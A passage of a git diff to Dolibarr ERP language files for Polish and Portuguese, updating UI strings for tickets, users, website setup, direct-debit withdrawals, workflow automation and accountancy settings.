-TicketPublicPleaseBeAccuratelyDescribe=Proszę dokładnie opisać problem. Podaj jak najwięcej informacji, abyśmy mogli poprawnie zidentyfikować Twoją prośbę. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Wprowadź identyfikator śledzenia biletu TicketTrackId=Publiczny identyfikator śledzenia OneOfTicketTrackId=Jeden z Twoich identyfikatorów śledzenia diff --git a/htdocs/langs/pl_PL/users.lang b/htdocs/langs/pl_PL/users.lang index 3702483e95f..ec003f63610 100644 --- a/htdocs/langs/pl_PL/users.lang +++ b/htdocs/langs/pl_PL/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Usuń z grupy PasswordChangedAndSentTo=Hasło zmienione i wysyłane do %s. PasswordChangeRequest=Zgłoszenie zmiany hasła dla %s PasswordChangeRequestSent=Wniosek o zmianę hasła dla %s wysłany do %s. -IfLoginExistPasswordRequestSent=Jeśli ten login jest prawidłowym kontem, wiadomość e-mail umożliwiająca zresetowanie hasła została wysłana. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=Jeśli ten adres e-mail jest prawidłowym kontem, wiadomość e-mail umożliwiająca zresetowanie hasła została wysłana. ConfirmPasswordReset=Potwierdź zresetowanie hasła MenuUsersAndGroups=Użytkownicy i grupy @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=Utwórz użytkownika CreateDolibarrThirdParty=Utwórz kontrahenta -LoginAccountDisableInDolibarr=Konto wyłączone w Dolibarr. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Użyj wartości osobowych -InternalUser=Wewnętrzny użytkownik ExportDataset_user_1=Użytkownicy i ich właściwości DomainUser=Domena użytkownika %s Reactivate=Przywraca @@ -128,3 +128,8 @@ DateLastLogin=Date last login DatePreviousLogin=Date previous login IPLastLogin=IP last login IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/pl_PL/website.lang b/htdocs/langs/pl_PL/website.lang index e2741fb1e0b..70f4f1b16aa 100644 --- a/htdocs/langs/pl_PL/website.lang +++ b/htdocs/langs/pl_PL/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Kod +WebsiteName=Name of the website WebsiteSetupDesc=Tu utwórz witryny, które chcesz użyć. Następnie, przejdź do menu Witryny, aby je edytować. DeleteWebsite=Skasuj stronę ConfirmDeleteWebsite=Czy na pewno zamierzasz usunąć tę witrynę? Wszystkie jej strony i zawartość również zostaną usunięte. Pozostawione zostaną wszelkie pliki dosłane (np. do katalogu mediów, moduł ECM, ...). @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Dodanie nagłówka HTML u dołu (wspólne dla wszystkich str WEBSITE_ROBOT=Plik robota (robots.txt) WEBSITE_HTACCESS=Plik .htaccess witryny WEBSITE_MANIFEST_JSON=Plik manifest.json witryny -WEBSITE_README=Plik README.md WEBSITE_KEYWORDSDesc=Wartości rozdziel przecinkami -EnterHereLicenseInformation=Tu wprowadź metadane lub informacje licencyjne, które wypełnią plik README.md. Przy rozprowadzaniu Twej witryny jako szablonu, plik ten zostanie dołączony do pakietu tego szablonu. +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=Nagłówek HTML (tylko dla tej strony) PageNameAliasHelp=Nazwa lub alias strony.
      Ten alias służy również do tworzenia adresu URL wspierającego SEO, gdy witrynę obsługuje web serwer (taki jak Apacke, Nginx, ...). Użyj przycisku „%s”, aby edytować ten alias. EditTheWebSiteForACommonHeader=Uwaga: Jeśli chcesz zdefiniować nagłówek dla wszystkich stron, edytuj nagłówek na poziomie witryny zamiast na poziomie strony/pojemnika. @@ -42,10 +43,12 @@ ViewPageInNewTab=Zobacz stronę w nowej zakładce SetAsHomePage=Ustaw jako stronę domową RealURL=Prawdziwy adres URL ViewWebsiteInProduction=Zobacz stronę używając linków ze strony głównej +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost= Użyj z Apache / NGinx / ...
      Utwórz na swoim serwerze internetowym (Apache, Nginx, ...) dedykowany wirtualny host z włączoną obsługą PHP i katalog główny na
      %s ExampleToUseInApacheVirtualHostConfig=Przykład do użycia w konfiguracji hosta wirtualnego Apache: YouCanAlsoTestWithPHPS= Używaj z wbudowanym serwerem PHP
      Gdy w środowisku rozwojowym preferujesz testowanie web strony z web serwerem wbudowanym w PHP (wymagane PHP 5.5 lub nowsze), to uruchamiaj
      php -S 0.0.0.0:8080 -t %s -YouCanAlsoDeployToAnotherWHP=Uruchom swoją witrynę u innego dostawcy wystąpień Dolibarr
      Jeśli nie masz dostępnego w internecie web serwera, takiego jak Apache lub NGinx, to możesz eksportować i importować swoją witrynę do innego wystąpienia Dolibarr u kogoś oferującego wystąpienia Dolibarr mające moduł Website w pełni zintegrowany z web serwerem. Listę niektórych dostawców wystąpień Dolibarr znajdziesz w https://saas.dolibarr.org +YouCanAlsoDeployToAnotherWHP=Run your web site with another Dolibarr Hosting provider
      If you don't have a web server like Apache or NGinx available on internet, you can export and import your web site onto another Dolibarr instance provided by another Dolibarr hosting provider that provide full integration with the Website module. You can find a list of some Dolibarr hosting providers on https://saas.dolibarr.org CheckVirtualHostPerms=Sprawdź również, czy użytkownik wirtualnego hosta (na przykład dane www) ma %s uprawnienia do plików w
      %s ReadPerm=Czytanie WritePerm=Zapis @@ -60,7 +63,7 @@ YouCanEditHtmlSourceckeditor=Możesz edytować kod źródłowy HTML używając p YouCanEditHtmlSource=
      Możesz dołączyć kod PHP do tego źródła za pomocą tagów <? php? > . Dostępne są następujące zmienne globalne: $ conf, $ db, $ mysoc, $ user, $ website, $ websitepage, $ weblangs, $ pagelangs.

      Możesz także dołączyć zawartość innej strony / kontenera o następującej składni:
      a03900aindf7d31Contiaser? ? >

      Można zrobić przekierowanie do innej strony / pojemnik z następującą składnią (Uwaga: Nie Wyjście jakiejkolwiek zawartości przed przekierowaniem):
      < php redirectToContainer ( 'alias_of_container_to_redirect_to'); ? >

      Aby dodać link do innej strony, użyj składni:
      <a href = "alias_of_page_to_link_to.php" >mylink<a>

      Aby umieścić link do pobrania
      pliku zapisanego w dokumentach , użyj document.php wrapper:
      Przykład, dla pliku w dokumentach / ecm (należy zarejestrować), składnia jest następująca: a0342fcccfdae19bz039 =
      ] nazwa_pliku.ext ">

      Dla pliku w dokumentach / mediach (otwarty katalog dla publicznego dostępu) składnia jest następująca:
      a03900dfred31ecz "/document.php?modulepart=medias&file=[relative_dir/]filename.ext">
      W przypadku pliku udostępnionego za pomocą linku do udostępniania (otwarty dostęp za pomocą klucza współdzielenia hashf pliku:

      ), dla pliku udostępnionego za pomocą linku do udostępniania (otwarty dostęp przy użyciu klucza współdzielenia hashf pliku:
      ). /document.php?hashp=publicsharekeyoffile">

      Aby to obrazu zapisane do tych dokumentów , za pomocą przycisków viewimage.php owijający:
      przykład w przypadku obrazu do dokumentów / media (otwarte katalog dla dostępu publicznego), składnia jest następująca:
      <img src = "/ viewimage.php? modulepart = medias&file = [katalog_względny /] nazwa_pliku.ext" a0065c2c071 "a0065c2c071" a0087c2c071 #YouCanEditHtmlSource2=
      To include a image shared publicaly, use the viewimage.php wrapper:
      Example with a shared key 123456789, syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      YouCanEditHtmlSource2=W przypadku obrazu udostępnionego za pomocą linku do udostępniania (otwarty dostęp przy użyciu klucza współdzielenia skrótu pliku) składnia jest następująca:
      <img src = "/ viewimage.php? Hashp = 12345679012 ..." a0012c7dcbe087c65z071 -YouCanEditHtmlSourceMore=
      Więcej przykładów kodu HTML lub dynamicznego dostępnych w dokumentacji wiki
      . +YouCanEditHtmlSourceMore=
      More examples of HTML or dynamic code available on the wiki documentation
      . ClonePage=Powiel stronę/pojemnik CloneSite=Duplikuj stronę SiteAdded=Dodano witrynę @@ -137,7 +140,7 @@ PagesRegenerated=%s strony / kontenery zostały ponownie wygenerowane RegenerateWebsiteContent=Zregeneruj pliki pamięci podręcznej witryny internetowej AllowedInFrames=Dozwolone w ramkach DefineListOfAltLanguagesInWebsiteProperties=Zdefiniuj listę wszystkich dostępnych języków we właściwościach witryny internetowej. -GenerateSitemaps=Wygeneruj plik mapy witryny internetowej +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=Jeśli potwierdzisz, usuniesz istniejący plik mapy witryny ... ConfirmSitemapsCreation=Potwierdź wygenerowanie mapy witryny SitemapGenerated=Wygenerowano plik mapy witryny %s @@ -145,3 +148,10 @@ ImportFavicon=Favicon ErrorFaviconType=Favicon musi być w formacie PNG ErrorFaviconSize=Favicon musi mieć rozmiar 16x16, 32x32 lub 64x64 FaviconTooltip=Prześlij obraz, który musi być w formacie PNG (16x16, 32x32 lub 64x64) +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/pl_PL/withdrawals.lang b/htdocs/langs/pl_PL/withdrawals.lang index 613a6eb67b7..803a33bf94a 100644 --- a/htdocs/langs/pl_PL/withdrawals.lang +++ b/htdocs/langs/pl_PL/withdrawals.lang @@ -31,8 +31,9 @@ SupplierInvoiceWaitingWithdraw=Faktura dostawcy czeka na płatność przelewem InvoiceWaitingWithdraw=Faktura oczekująca na polecenie zapłaty InvoiceWaitingPaymentByBankTransfer=Faktura oczekująca na przelew AmountToWithdraw=Kwota do wycofania +AmountToTransfer=Amount to transfer NoInvoiceToWithdraw=Brak otwartej faktury dla „%s” nie oczekuje. Przejdź do zakładki „%s” na karcie faktury, aby złożyć wniosek. -NoSupplierInvoiceToWithdraw=Żadna faktura dostawcy z otwartymi „Bezpośrednimi wnioskami o kredyt” nie oczekuje. Przejdź do zakładki „%s” na karcie faktury, aby złożyć wniosek. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=Odpowiedzialność użytkownika WithdrawalsSetup=Konfiguracja płatności poleceniem zapłaty CreditTransferSetup=Konfiguracja polecenia przelewu @@ -41,6 +42,7 @@ CreditTransferStatistics=Statystyka poleceń przelewu Rejects=Odrzucone LastWithdrawalReceipt=Najnowsze potwierdzenia %s polecenia zapłaty MakeWithdrawRequest=Złóż wniosek o płatność za pomocą polecenia zapłaty +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=Złóż wniosek o przelew WithdrawRequestsDone=Zarejestrowano %s polecenia zapłaty za polecenie zapłaty BankTransferRequestsDone=%s odnotowano żądania przelewu @@ -99,8 +101,11 @@ CreditDate=Kredyt na WithdrawalFileNotCapable=Nie można wygenerować plik paragon wycofania dla danego kraju:% s (Twój kraj nie jest obsługiwany) ShowWithdraw=Pokaż polecenie zapłaty IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Jeśli jednak faktura zawiera co najmniej jedno polecenie zapłaty, które nie zostało jeszcze przetworzone, nie zostanie ono ustawione jako zapłacone, aby umożliwić wcześniejsze zarządzanie wypłatą. -DoStandingOrdersBeforePayments=Ta zakładka umożliwia zażądanie polecenia zapłaty za polecenie zapłaty. Po zakończeniu przejdź do menu Bank-> Płatność poleceniem zapłaty, aby wygenerować polecenie zapłaty i zarządzać nim. Kiedy polecenie zapłaty zostanie zamknięte, płatność za faktury zostanie automatycznie zarejestrowana, a faktury zostaną zamknięte, jeśli pozostała do zapłaty kwota jest zerowa. -DoCreditTransferBeforePayments=Ta zakładka umożliwia złożenie wniosku o polecenie przelewu. Po zakończeniu przejdź do menu Bank-> Płatność przelewem, aby wygenerować i zarządzać poleceniem przelewu. Kiedy polecenie przelewu zostanie zamknięte, płatność za faktury zostanie automatycznie zarejestrowana, a faktury zostaną zamknięte, jeśli pozostała do zapłaty kwota jest zerowa. +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=Plik polecenia zapłaty CreditTransferFile=Plik polecenia przelewu SetToStatusSent=Ustaw status "Plik Wysłane" @@ -117,7 +122,7 @@ WithdrawRequestErrorNilAmount=Nie można utworzyć polecenia zapłaty dla pustej SepaMandate=Upoważnienie do polecenia zapłaty SEPA SepaMandateShort=Mandat SEPA PleaseReturnMandate=Prosimy o przesłanie tego formularza upoważnienia pocztą elektroniczną na adres %s lub pocztą na adres -SEPALegalText=By signing this mandate form, you authorize (A) %s to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=Identyfikator wierzyciela CreditorName=Nazwa wierzyciela SEPAFillForm=(B) Proszę wypełnić wszystkie pola zaznaczone * @@ -136,6 +141,7 @@ SEPAFRST=SEPA FRST ExecutionDate=Data wykonania CreateForSepa=Utwórz plik polecenia zapłaty ICS=Creditor Identifier - ICS +IDS=Debitor Identifier END_TO_END=Znacznik XML SEPA „EndToEndId” - Unikalny identyfikator przypisany do każdej transakcji USTRD=„Niestrukturalny” tag XML SEPA ADDDAYS=Dodaj dni do daty wykonania @@ -154,3 +160,4 @@ ErrorICSmissing=Brak ICS na koncie bankowym %s TotalAmountOfdirectDebitOrderDiffersFromSumOfLines=Całkowita kwota polecenia zapłaty różni się od sumy wierszy WarningSomeDirectDebitOrdersAlreadyExists=Warning: There is already some pending Direct Debit orders (%s) requested for an amount of %s WarningSomeCreditTransferAlreadyExists=Warning: There is already some pending Credit Transfer (%s) requested for an amount of %s +UsedFor=Used for %s diff --git a/htdocs/langs/pl_PL/workflow.lang b/htdocs/langs/pl_PL/workflow.lang index ad12d61b92b..ee9fd64b109 100644 --- a/htdocs/langs/pl_PL/workflow.lang +++ b/htdocs/langs/pl_PL/workflow.lang @@ -7,6 +7,7 @@ descWORKFLOW_PROPAL_AUTOCREATE_ORDER=Automatyczne tworzenie zamówienia sprzeda descWORKFLOW_PROPAL_AUTOCREATE_INVOICE=Automatycznie twórz fakturę dla klienta po podpisaniu oferty handlowej (nowa faktura będzie miała taką samą kwotę jak oferta) descWORKFLOW_CONTRACT_AUTOCREATE_INVOICE=Automatycznie stwórz fakturę dla klienta po zatwierdzeniu kontraktu descWORKFLOW_ORDER_AUTOCREATE_INVOICE=Automatycznie twórz fakturę dla klienta po zamknięciu zamówienia sprzedaży (nowa faktura będzie miała taką samą kwotę jak zamówienie) +descWORKFLOW_TICKET_CREATE_INTERVENTION=On ticket creation, automatically create an intervention. # Autoclassify customer proposal or order descWORKFLOW_ORDER_CLASSIFY_BILLED_PROPAL=Sklasyfikuj połączoną ofertę źródłową jako rozliczoną, gdy zamówienie sprzedaży jest ustawione na fakturowane (i jeśli kwota zamówienia jest taka sama, jak łączna kwota podpisanej połączonej oferty pakietowej) descWORKFLOW_INVOICE_CLASSIFY_BILLED_PROPAL=Sklasyfikuj połączoną ofertę źródłową jako rozliczoną, gdy faktura odbiorcy zostanie zweryfikowana (i jeśli kwota faktury jest taka sama, jak łączna kwota podpisanej połączonej oferty) @@ -14,13 +15,22 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_ORDER=Sklasyfikuj połączone zamów descWORKFLOW_INVOICE_CLASSIFY_BILLED_ORDER=Sklasyfikuj połączone źródłowe zamówienie sprzedaży jako fakturowane, gdy faktura odbiorcy jest ustawiona na zapłaconą (i jeśli kwota faktury jest taka sama, jak całkowita kwota połączonego zamówienia) descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING=Sklasyfikuj zamówienie sprzedaży z połączonego źródła jako wysłane, gdy przesyłka zostanie zweryfikowana (i jeśli ilość wysłana we wszystkich wysyłkach jest taka sama, jak w zamówieniu do aktualizacji) descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING_CLOSED=Klasyfikuj powiązane zamówienie jako wysłane, gdy wysyłka zostaje zamknięta (i jeśli ilość wysłanych produktów w paczkach jest zgodna z ilością na zamówieniu) -# Autoclassify purchase order +# Autoclassify purchase proposal descWORKFLOW_ORDER_CLASSIFY_BILLED_SUPPLIER_PROPOSAL=Klasyfikuj ofertę dostawcy połączonego źródła jako fakturowaną, gdy faktura od dostawcy jest weryfikowana (i jeśli kwota faktury jest taka sama, jak łączna kwota połączonej oferty) +# Autoclassify purchase order descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Sklasyfikuj zamówienie zakupu z połączonego źródła jako fakturowane, gdy faktura dostawcy zostanie zweryfikowana (i jeśli kwota faktury jest taka sama, jak całkowita kwota połączonego zamówienia) -descWORKFLOW_BILL_ON_RECEPTION=Klasyfikuj przyjęcia jako „zafakturowane” po zweryfikowaniu zamówienia połączonego dostawcy +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Classify linked source purchase order as received when a reception is validated (and if the quantity received by all receptions is the same as in the purchase order to update) +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Classify linked source purchase order as received when a reception is closed (and if the quantity received by all rceptions is the same as in the purchase order to update) +# Autoclassify purchase invoice +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) +# Automatically link ticket to contract +descWORKFLOW_TICKET_LINK_CONTRACT=When creating a ticket, link available contracts of matching thirdparty +descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=When linking contracts, search among those of parents companies # Autoclose intervention descWORKFLOW_TICKET_CLOSE_INTERVENTION=Zamknij wszystkie interwencje związane z biletem, gdy bilet jest zamknięty AutomaticCreation=Automatyczne utworzenie AutomaticClassification=Automatyczne zaklasyfikowanie # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Sklasyfikuj przesyłkę połączonego źródła jako zamkniętą, gdy faktura odbiorcy jest weryfikowana +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) +AutomaticClosing=Automatic closing +AutomaticLinking=Automatic linking diff --git a/htdocs/langs/pt_AO/propal.lang b/htdocs/langs/pt_AO/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/pt_AO/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/pt_AO/stripe.lang b/htdocs/langs/pt_AO/stripe.lang new file mode 100644 index 00000000000..14335fc610b --- /dev/null +++ b/htdocs/langs/pt_AO/stripe.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails diff --git a/htdocs/langs/pt_BR/accountancy.lang b/htdocs/langs/pt_BR/accountancy.lang index 0e1cc17d702..e310bf86af9 100644 --- a/htdocs/langs/pt_BR/accountancy.lang +++ b/htdocs/langs/pt_BR/accountancy.lang @@ -10,7 +10,6 @@ Selectformat=Selecione o formato do arquivo ACCOUNTING_EXPORT_FORMAT=Selecione o formato do arquivo ACCOUNTING_EXPORT_ENDLINE=Selecione o tipo de retorno do frete ACCOUNTING_EXPORT_PREFIX_SPEC=Especifique o prefixo do nome do arquivo -DefaultForService=Padrão para serviço ProductForThisThirdparty=Produto para este terceiro ServiceForThisThirdparty=Serviço para este terceiro CantSuggest=Não posso sugerir @@ -56,7 +55,6 @@ SubledgerAccount=Conta Subledger SubledgerAccountLabel=Rótulo da conta de subconta ShowAccountingAccount=Mostrar conta contábil ShowAccountingJournal=Mostrar contabilidade -AccountAccountingSuggest=Sugerir Conta de Contabilidade MenuBankAccounts=Contas bancárias MenuVatAccounts=Contas de Impostos sobre valor agregado MenuLoanAccounts=Contas de empréstimos @@ -95,30 +93,11 @@ ACCOUNTING_LENGTH_GACCOUNT=Comprimento das contas de contabilidade geral (se o v ACCOUNTING_LENGTH_AACCOUNT=Comprimento das contas de contabilidade de terceiros (se você definir o valor para 6 aqui, a conta "401" aparecerá como '401000' na tela) ACCOUNTING_MANAGE_ZERO=Permitir gerenciar diferentes números de zeros no final de uma conta contábil. Necessário para alguns países (como a Suíça). Se definido como desativado (padrão), você pode definir os dois parâmetros a seguir para solicitar que o aplicativo adicione zeros virtuais. BANK_DISABLE_DIRECT_INPUT=Desabilitar o registro direto da transação na conta bancária -ACCOUNTING_SELL_JOURNAL=Diário de Vendas -ACCOUNTING_PURCHASE_JOURNAL=Diário de Compras -ACCOUNTING_MISCELLANEOUS_JOURNAL=Diário diversos ACCOUNTING_EXPENSEREPORT_JOURNAL=Diário de relatórios de despesas ACCOUNTING_RESULT_PROFIT=Conta de contabilidade de resultado (Lucro) ACCOUNTING_RESULT_LOSS=Conta contábil do resultado (perda) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Jornal de encerramento -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Conta contábil da transferência bancária transitória TransitionalAccount=Conta de transferência bancária transitória -ACCOUNTING_ACCOUNT_SUSPENSE=Conta contábil de espera -DONATION_ACCOUNTINGACCOUNT=Conta contábil para registro de doações. -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Conta contábil para registrar assinaturas -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Conta contábil padrão para produtos comprados (usada se não definida na folha de produtos) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Conta contábil padrão para os produtos comprados na CEE (usada se não definida na planilha de produtos) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Conta contábil padrão para os produtos comprados e importados da CEE (usados ​​se não definidos na folha do produto) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Conta contábil padrão para os produtos vendidos (usado se não estiver definido na folha do produto) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Conta contábil por padrão para os produtos vendidos na EEC (usada se não definida na planilha de produtos) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Conta contábil por padrão para os produtos vendidos e exportados para fora da EEC (usados ​​se não definidos na folha do produto) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Conta contábil padrão para os serviços comprados (se não for definido na listagem de serviços) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Conta contábil padrão para os serviços comprados no EEC (usada se não definida na planilha de serviços) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Conta contábil padrão para os serviços comprados e importados do EEC (usados ​​se não definidos na ficha de serviço) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Conta contábil padrão para os serviços vendidos (se não for definido na listagem de serviços) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Conta contábil por padrão para os serviços vendidos na EEC (usada se não definida na ficha de serviço) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Conta contábil por padrão para os serviços vendidos e exportados para fora do EEC (usados ​​se não definidos na ficha de serviço) LabelAccount=Conta rótulo JournalLabel=Rótulo de jornal TransactionNumShort=Nº da transação @@ -152,12 +131,6 @@ PcgtypeDesc=O grupo de contas é usado como critério predefinido de 'filtro' e Reconcilable=Reconciliável TotalVente=Volume total negociado sem Impostos TotalMarge=Margem de vendas totais -DescVentilCustomer=Consulte aqui a lista linhas de pedidos de clientes vinculadas (ou não) a uma conta contábil de produto -DescVentilMore=Na maioria dos casos, se você usar produtos ou serviços predefinidos e definir o número da conta no cartão de produto / serviço, o aplicativo poderá fazer toda a ligação entre suas linhas de fatura e a conta contábil de seu plano de contas, apenas em um clique com o botão "%s" . Se a conta não foi definida em cartões de produtos / serviços ou se você ainda tiver algumas linhas não vinculadas a uma conta, será necessário fazer uma ligação manual no menu " %s ". -DescVentilDoneCustomer=Consulte aqui a lista com as linhas das faturas dos clientes e a conta da Contabilidade dos seus produtos -DescVentilTodoCustomer=Linhas da fatura ainda não vinculadas à conta da Contabilidade do produto -ChangeAccount=Mudar a conta da Contabilidade do produto/serviço para as linhas selecionadas com a seguinte conta da Contabilidade -DescVentilSupplier=Consulte aqui a lista de linhas de fatura de fornecedor vinculadas ou não vinculadas a uma conta contábil do produto (somente registro ainda não transferido será visível na contabilidade) DescVentilDoneSupplier=Consulte aqui a lista das linhas de faturas de fornecedores e sua conta contábil DescVentilTodoExpenseReport=Relatórios de linhas de despesas de ligação já não estão vinculadas com uma conta contábil com taxa DescVentilExpenseReport=Consulte aqui a lista de relatório de linhas de despesas vinculadas (ou não) a uma conta contábil com taxa @@ -165,9 +138,7 @@ DescVentilExpenseReportMore=Se você configurar uma conta contábil no tipo de l DescVentilDoneExpenseReport=Consulte aqui a lista dos relatórios de linha de despesas e sua conta contábil de taxas DescValidateMovements=Qualquer modificação ou exclusão de escrita, letras e exclusões será proibida. Todas as entradas para um exercício devem ser validadas, caso contrário, o fechamento não será possível ValidateHistory=Vincular Automaticamente -ErrorAccountancyCodeIsAlreadyUse=Erro, você não pode excluir esta conta contábil, pois ela esta em uso GeneralLedgerIsWritten=As transações estão escritas no Razão -ListOfProductsWithoutAccountingAccount=Lista de produtos não vinculados a qualquer conta da Contabilidade ChangeBinding=Alterar a vinculação Accounted=Contas no livro de contas NotYetAccounted=Ainda não transferida para a contabilidade @@ -223,7 +194,6 @@ SaleLocal=Venda local SaleExport=Venda de exportação SaleEEC=Venda na CEE SaleEECWithVAT=A venda na CEE com um IVA não nulo; portanto, supomos que essa NÃO seja uma venda intracomunitária e a conta sugerida é a conta padrão do produto. -SaleEECWithoutVATNumber=Venda na CEE sem IVA, mas o ID do IVA de terceiros não está definido. Recorremos à conta do produto para vendas padrão. Você pode corrigir o ID do IVA de terceiros ou a conta do produto, se necessário. Range=Faixa da conta da Contabilidade ConfirmMassDeleteBookkeepingWriting=Confirmação exclusão em massa SomeMandatoryStepsOfSetupWereNotDone=Algumas etapas obrigatórias de configuração não foram feitas, preencha-as diff --git a/htdocs/langs/pt_BR/admin.lang b/htdocs/langs/pt_BR/admin.lang index 80684c463d4..8b16829f8fc 100644 --- a/htdocs/langs/pt_BR/admin.lang +++ b/htdocs/langs/pt_BR/admin.lang @@ -1,6 +1,5 @@ # Dolibarr language file - Source file is en_US - admin BoldRefAndPeriodOnPDF=Imprimir referência e período do item em PDF -BoldLabelOnPDF=Imprimir etiqueta do item em negrito, em PDF VersionProgram=Versão Programa VersionLastInstall=Versão de instalação inicial VersionLastUpgrade=Atualização versão mais recente @@ -338,7 +337,6 @@ ExtrafieldCheckBox=Caixas de seleção ExtrafieldCheckBoxFromList=Caixas de seleção da tabela ExtrafieldLink=Link para um objeto ComputedFormula=Campo computado -ComputedFormulaDesc=Você pode inserir aqui uma fórmula usando outras propriedades do objeto ou qualquer código PHP para obter um valor computado dinâmico. Você pode usar qualquer fórmula compatível com PHP, incluindo o "?" operador de condição e objeto global seguinte: $db, $conf, $langs, $mysoc, $user, $object .
      AVISO : Apenas algumas propriedades do $object podem estar disponíveis. Se você precisar de propriedades não carregadas, basta buscar o objeto em sua fórmula, como no segundo exemplo.
      Usar um campo computado significa que você não pode inserir qualquer valor da interface. Além disso, se houver um erro de sintaxe, a fórmula pode retornar nada.

      Exemplo de fórmula:
      $object-> id < 10? round ($object-> id / 2, 2): ($object-> id + 2 * $user-> id) * (int) substr ($mysoc-> zip, 1, 2)

      Exemplo para recarregar o objeto
      (($reloadedobj = novo Societe($db)) && ($reloadedobj-> fetch ($obj-> id? $ obj-> id: ($obj-> rowid? $obj-> rowid: $object-> id )) > 0))? $reloadedobj-> array_options ['options_extrafieldkey'] * $reloadedobj-> capital / 5: '-1'

      Outro exemplo de fórmula para forçar a carga do objeto e seu objeto pai:
